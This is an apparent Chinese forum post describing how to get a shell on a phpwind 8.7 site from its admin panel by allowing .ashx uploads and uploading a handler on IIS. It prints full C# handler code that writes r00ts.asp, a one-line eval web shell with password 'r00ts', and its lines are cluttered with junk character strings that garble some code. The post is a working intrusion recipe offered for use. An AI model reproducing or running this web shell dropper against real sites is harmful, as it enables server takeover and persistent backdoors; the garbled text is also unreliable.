phpwind 8.7 后台拿shell

admin

首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小
9 s9 d/ C: o* l# a" z; ~- u
# N9 [* [: K2 B* @群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx
7 y" |7 R; {9 |" K
* }& s) Q) w! G/ T发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整
1 v8 d- \: b9 {- [5 v/ z2 p3 p+ N
& x. G$ e2 W7 u4 R然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx

  ]! {4 M0 R( b: H1 @( E打开之后空白 会在目录底下生成r00ts.asp 密码r00ts

下面是代码:

, @+ m( t) h0 D; J6 q1 g8 A$ d<%@ WebHandler Language="C#"Class="Handler" %>
using System;
/ I! q4 [1 s( I( Fusing System.Web;
using System.IO;
" A9 u+ z) S7 a; M, S; V! bpublic class Handler : IHttpHandler {
public void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
& H  I$ M1 \+ aStreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
file1.Write("<%eval request(\"r00ts\")%>");
" Y- ]' \, U3 \* ]3 C% ~+ ifile1.Flush();
& q8 f# p9 V/ A4 O2 M" Q! ~& b2 dfile1.Close();
/ I1 y( O; R2 f" h; ]}
public bool IsReusable {
get {
return false;
}
2 `* X' [8 c* T5 R2 F$ s( {8 E}
1 o5 k9 B- D* N' D: p* Q( C}